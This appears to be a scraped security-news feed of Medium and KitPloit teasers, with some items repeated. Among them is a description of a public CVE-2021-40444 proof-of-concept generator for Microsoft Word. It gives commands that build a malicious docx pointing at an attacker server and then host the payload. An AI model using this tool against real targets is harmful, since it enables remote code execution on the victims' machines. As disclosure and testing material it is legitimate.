Hacking on Medium
Top 10 Certification Courses To Kickstart a Career in Cybersecurity


Cybersecurity is the most debated topic since the onset of the pandemic. Why not help the world in protection?

Continue reading on Brandlitic »

Hacking on Medium
Ferrum Network and Lossless Form Strategic Partnership — Lossless Joins the Iron Alliance


Ferrum has joined forces with Lossless to help introduce their ecosystem of partner projects to Lossless’ DeFi Hack mitigation tools.

Continue reading on FerrumNetwork »

Hacking on Medium
Cryptocurrencies are no more anonymous


Do you still believe cryptocurrencies are anonymous? Here is something to disprove your idea.

Continue reading on Medium »

Hacking on Medium
From phpinfo page to many P1 bugs and RCE. [Symfony]


[Symfony]: is a set of reusable PHP components and a PHP framework to build web applications, APIs, microservices and web services

Continue reading on Medium »

Hacking on Medium
Hackers For Hire : Are Hackers for Hire the Future of Global Terrorism?


Hackers For Hire : Are Hackers for Hire the Future of Global Terrorism? — (rebellionresearch.com)

Continue reading on Medium »

From phpinfo page to many P1 bugs and RCE. [Symfony]

Symfony: is a set of reusable PHP components and a PHP framework to build web applications, APIs, microservices and web servicesContinue reading on Medium »
Read more...

CVE-2021-40444 PoC - Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)

Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)You need to install lcab first (sudo apt-get install lcab)Check REPRODUCE.md for manual reproduce stepsIf your generated cab is not working, try pointing out exploit.html URL to calc.cabUsingFirst generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()python3 exploit.py generate test/calc.dll http://<SRV IP>Once you generate the malicious docx (will be at out/) you can setup the server:sudo python3 exploit.py host 80Finally try the docx in a Windows Virtual Machine: Download CVE-2021-40444
Read more...

How I was able to find 100+ XSS in United nations Bug Bounty Program

Hey Guys so this is my first blog . so i thought maybe give it try to show people how you could find bugs in a easy wayContinue reading on Medium »
Read more...

CVE-2021-40444 PoC - Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
http://www.kitploit.com/2021/09/cve-2021-40444-poc-malicious-docx.html

Malicious docx generator (https://www.kitploit.com/search/label/Generator) to exploit CVE-2021-40444 (Microsoft Office Word Remote (https://www.kitploit.com/search/label/Remote) Code Execution)
Creation of this Script is based on some reverse engineering (https://www.kitploit.com/search/label/Reverse%20Engineering) over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)You need to install lcab first (sudo apt-get install lcab)Check REPRODUCE.md for manual reproduce stepsIf your generated cab is not working, try pointing out exploit.html URL to calc.cab
Using
First generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()python3 exploit.py generate test/calc.dll http://

Once you generate the malicious docx (will be at out/) you can setup the server:sudo python3 exploit.py host 80

Finally try the docx in a Windows (https://www.kitploit.com/search/label/Windows) Virtual Machine:

 
Download CVE-2021-40444 (https://github.com/lockedbyte/CVE-2021-40444)

How I was able to find 100+ XSS in United nations Bug Bounty Program
https://mrpentestguy.medium.com/how-i-was-able-to-find-100-xss-in-united-nations-bug-bounty-program-a675573c006d?source=rss------bug_bounty-5

Hey Guys so this is my first blog . so i thought maybe give it try to show people how you could find bugs in a easy wayContinue reading on Medium » (https://mrpentestguy.medium.com/how-i-was-able-to-find-100-xss-in-united-nations-bug-bounty-program-a675573c006d?source=rss------bug_bounty-5)